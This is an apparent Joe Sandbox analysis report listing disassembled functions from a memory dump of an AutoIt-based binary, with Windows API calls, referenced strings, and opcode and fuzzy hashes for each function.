Part of subcall function 00B27620: _wcslen.LIBCMT ref: 00B27625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00B94ED4

Strings

*, xrefs: 00B94E10
LPT, xrefs: 00B94DFB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 6ee926eff794557121bfa91abbe07aa422f039895d26dfb8d3266d378f707c5a
Instruction ID: bbbcf441f89ae64ad8c2c7a0e6ecc8b90b860f3e88b3cf8a985d4c0b98959502
Opcode Fuzzy Hash: 6ee926eff794557121bfa91abbe07aa422f039895d26dfb8d3266d378f707c5a
Instruction Fuzzy Hash: 19915E75A002159FCB14DF58C494EAABBF1EF48304F1980E9E80A9F762D771ED86CB91

Function 00B4E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00B4E30D

Strings

pow, xrefs: 00B4E2E5, 00B4E302

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: d882dde8ae865c9ae3925ea1b69706102377bc2638c418fc0bdbfdd1ba90f0a3
Instruction ID: 7c08e7eff2cebc551c0ffcf2fe3ae1f17256bacdbb15e5a2f1d0bb2e39c3ae2e
Opcode Fuzzy Hash: d882dde8ae865c9ae3925ea1b69706102377bc2638c418fc0bdbfdd1ba90f0a3
Instruction Fuzzy Hash: 48517061B4C20296DB177B14E9427793BE8FB40742F304DE8E8E5432E9DF31CD99AA46

Function 00B3E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00B3E1B1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 694e0a9a61ce969c9603b03ebbf5f6e9b15cc505d7307e086bc25b6b3552bb8d
Instruction ID: 297ebc78f411eb354c4fbb70dd62bc798882604f3e2bc62c740191003690fee2
Opcode Fuzzy Hash: 694e0a9a61ce969c9603b03ebbf5f6e9b15cc505d7307e086bc25b6b3552bb8d
Instruction Fuzzy Hash: DB510235504246DFDB19DF68C481ABA7BE8EF19310F2480D6E8B59B2D0DA34DD52CBA1

Function 00B3F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00B3F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00B3F2BB

Strings

@, xrefs: 00B3F2AF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 592e50c7a697919d498adacf4860b7054c3616ca2d7b5ecb285049481dc3c3ad
Instruction ID: 3a1effe95ddf1d1158885e3b5f4fc25d18d4667be41b4b238d9dbd732828b115
Opcode Fuzzy Hash: 592e50c7a697919d498adacf4860b7054c3616ca2d7b5ecb285049481dc3c3ad
Instruction Fuzzy Hash: 7A512771408744ABD320AF54EC86BAFBBF8FB84300F81889DF1D942195EF708529CB66

Function 00BA5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00BA57E0
_wcslen.LIBCMT ref: 00BA57EC

Strings

CALLARGARRAY, xrefs: 00BA57E6, 00BA57EB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 00794c2e62ffe143ff559ad77494e55124b7c4967d01bc65fccb362da9f79efb
Instruction ID: de7d03f7ad69bf6277544a0f64043f2b742172c94282f9838c3b3080296cc069
Opcode Fuzzy Hash: 00794c2e62ffe143ff559ad77494e55124b7c4967d01bc65fccb362da9f79efb
Instruction Fuzzy Hash: AC41C431E041099FCB14EFA8C8819FEBBF5FF5A310F2440A9E505A7251EB749E81CB90

Function 00B9D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B9D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00B9D13A

Strings

|, xrefs: 00B9D10B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 5e301ffd8b410a8fb2e1c1c73f2f2bfb9b53833328e95d88e4b4089b04eb0073
Instruction ID: 6a01db412db8e6e1046133d54cfbc68121894533aa95654b61fe345dc57878cb
Opcode Fuzzy Hash: 5e301ffd8b410a8fb2e1c1c73f2f2bfb9b53833328e95d88e4b4089b04eb0073
Instruction Fuzzy Hash: B5313C71D01129ABCF15EFA5DC85AEE7FB9FF04300F1000A9F819A6161DB31AA06DB50

Function 00BB356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00BB3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00BB365C

Strings

static, xrefs: 00BB35BC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 06b1a69e9733d5200405da65f55c6d5117dbda487debdf704b92d0eecceca961
Instruction ID: 52f5516fbd31a8362518ea2fde5c4fa409bfaa49edbc38abde9a0b273268a844
Opcode Fuzzy Hash: 06b1a69e9733d5200405da65f55c6d5117dbda487debdf704b92d0eecceca961
Instruction Fuzzy Hash: FE319071110604AFDB24DF28DC80EFB77E9FF58B20F108659F8A697290DA70AD81D760

Function 00BB4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00BB461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BB4634

Strings

', xrefs: 00BB458E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: afeda0770f09da30bb293631d84084f76adf08f913ca86ee793835e844d7f22d
Instruction ID: dcf299eb2516f72f018d8bf41c94ccf90451a00a8e2564cb131db220bfa5ecbc
Opcode Fuzzy Hash: afeda0770f09da30bb293631d84084f76adf08f913ca86ee793835e844d7f22d
Instruction Fuzzy Hash: DC313874A006199FDF14CFA9C980BEA7BF5FF19300F1044AAE905AB342D7B0A941CF90

Function 00BB31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00BB327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00BB3287

Strings

Combobox, xrefs: 00BB3249

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 494abe3463061640bcd6b6ffb280783c52ba547de0fab81285e87b1e07d4553b
Instruction ID: ad6b01df84cf32919d5a00b9867b1268ee6278ce260305b35da3eff426247fb7
Opcode Fuzzy Hash: 494abe3463061640bcd6b6ffb280783c52ba547de0fab81285e87b1e07d4553b
Instruction Fuzzy Hash: 7011B2717002087FEF219E94DC81EFB3BEAEB987A4F104668F91897290D6B1DD518760

Function 00BB3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00B2600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B2604C
Part of subcall function 00B2600E: GetStockObject.GDI32(00000011), ref: 00B26060
Part of subcall function 00B2600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B2606A

GetWindowRect.USER32(00000000,?), ref: 00BB377A
GetSysColor.USER32(00000012), ref: 00BB3794

Strings

static, xrefs: 00BB3757

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 89d7422bd5844db79dfa8eeb92c0ce3936d39492ec09da0d2946f71318d94637
Instruction ID: 1bd1b523f7f1312d89e201da9e8e7ec59af367c1429b2fa516bcaae3a84f73cc
Opcode Fuzzy Hash: 89d7422bd5844db79dfa8eeb92c0ce3936d39492ec09da0d2946f71318d94637
Instruction Fuzzy Hash: 3D1117B2610209AFDB10DFA8CC46EFA7BF8EB08754F004A54F955E3250EB75E851DB60

Function 00B9CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00B9CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00B9CDA6

Strings

<local>, xrefs: 00B9CD66

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 90fa03838390d545ed95882d8e9eccff3de5bdc165b5e21c7cab0b61abd6e546
Instruction ID: 4d39175195eb5a055fec7e9b7da823671ddb75d8e71841772997e29e031be5f9
Opcode Fuzzy Hash: 90fa03838390d545ed95882d8e9eccff3de5bdc165b5e21c7cab0b61abd6e546
Instruction Fuzzy Hash: C211C6B12056317ADB344B668C85EE7BEECEF127A4F1042B6B11983090D7709840D6F0

Function 00BB3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00BB34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00BB34BA

Strings

edit, xrefs: 00BB348F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 9c32758127eb51bbb36b467b2981f41f9a58f0feac6b57e7fe9cdabcc16300b2
Instruction ID: d76a9f27188672d6c99486bd08662253863d1a1242a510719b2eaa7024f70d55
Opcode Fuzzy Hash: 9c32758127eb51bbb36b467b2981f41f9a58f0feac6b57e7fe9cdabcc16300b2
Instruction Fuzzy Hash: A2119171100108AFEB128E68DC84AFB3BEAEF15B74F504764F965972E0CBB1DC919750

Function 00B86C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

CharUpperBuffW.USER32(?,?,?), ref: 00B86CB6
_wcslen.LIBCMT ref: 00B86CC2

Strings

STOP, xrefs: 00B86CBC, 00B86CC1

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 8ef0b6bb5d32d7712cb9ed815b9eb88e972cd3c63c8741680a73fe50baa55b27
Instruction ID: 9b1d79daf685dd7c4bdfe05184e30758a6a8ca7b20baa71b78975a09bc9b6407
Opcode Fuzzy Hash: 8ef0b6bb5d32d7712cb9ed815b9eb88e972cd3c63c8741680a73fe50baa55b27
Instruction Fuzzy Hash: 4001C032A1052A8BCB21BFBDDC809BF77E5FB61710B1009B8E866971A4EB31D950CB50

Function 00B81CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00B81D4C

Strings

ListBox, xrefs: 00B81D16
ComboBox, xrefs: 00B81CEB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 30aa23eab1e75e8922d7a9c20d6deb4becc97bff03dc7505bb58fe3e2b1bfca9
Instruction ID: 655bf816c8964427e13b84b2eeb4557c8dd695df33c8b8eeb3da959c2651010f
Opcode Fuzzy Hash: 30aa23eab1e75e8922d7a9c20d6deb4becc97bff03dc7505bb58fe3e2b1bfca9
Instruction Fuzzy Hash: BE01D875601228ABCB14FFA4DC51DFE77E8FB46750F040AA9F82A672E1EA305909C760

Function 00B81BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00B81C46

Strings

ListBox, xrefs: 00B81C10
ComboBox, xrefs: 00B81BE5

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: d9c5c14781ef3d5c2a43950bcbaff1cabc67bf543bef9571382d48aef8176c02
Instruction ID: 8e2ee8bf504a12f8357a9e52ee751a1f7a5af9ebeff77e58a5ad64c5af5bdf64
Opcode Fuzzy Hash: d9c5c14781ef3d5c2a43950bcbaff1cabc67bf543bef9571382d48aef8176c02
Instruction Fuzzy Hash: 9501F775A81118A7CB14FBA4D951DFF77ECEB11740F140499A40A6B2A1EA209E09CBB1

Function 00B81C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00B81CC8

Strings

ListBox, xrefs: 00B81C94
ComboBox, xrefs: 00B81C69

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: b8ab3c558f2caa7442d4f5658512b950d099a5d7f281616631cfc5f3e283f486
Instruction ID: 5e0e3c1f7a77fe7591d6e2430d5f406517d426137e423e98c41c483d3860a94a
Opcode Fuzzy Hash: b8ab3c558f2caa7442d4f5658512b950d099a5d7f281616631cfc5f3e283f486
Instruction Fuzzy Hash: 0B014EB174111867CB14FBA4DA51EFF73ECDB11740F140495B80A77291EA608F09CB71

Function 00B81D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00B81DD3

Strings

ListBox, xrefs: 00B81DA0
ComboBox, xrefs: 00B81D75

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 4e8bc47b91f4abb5cbe0c1ee5284e59c661ac436142f1705ae7ff49ebc5efd75
Instruction ID: 82e909d6c7231b87247b2c7979a3b75e3144d90c88cd8fd01bb364489dbde1f9
Opcode Fuzzy Hash: 4e8bc47b91f4abb5cbe0c1ee5284e59c661ac436142f1705ae7ff49ebc5efd75
Instruction Fuzzy Hash: 07F0A971A5122867D714F7A4DC91FFE77ECEB01750F040DA5B826672E1DA605909C760

Function 00BA747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BA7493
_wcslen.LIBCMT ref: 00BA74B9

Strings

3, 3, 16, 1, xrefs: 00BA7483

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: a891eeebcbc81d3a5071860b872ec9d897cba2e016b86c571c36c561b0fa211b
Instruction ID: 65717e9cef473bee9212aadadc48d97b53458afa212c6e1acf76d0c00182b15a
Opcode Fuzzy Hash: a891eeebcbc81d3a5071860b872ec9d897cba2e016b86c571c36c561b0fa211b
Instruction Fuzzy Hash: 2BE02B0225C220149231127A9CC1A7F57CDCFCE75071018ABF981C2366EF948EA2B3A0

Function 00B80B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00B80B23

Strings

Error allocating memory., xrefs: 00B80B1C
AutoIt, xrefs: 00B80B17

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
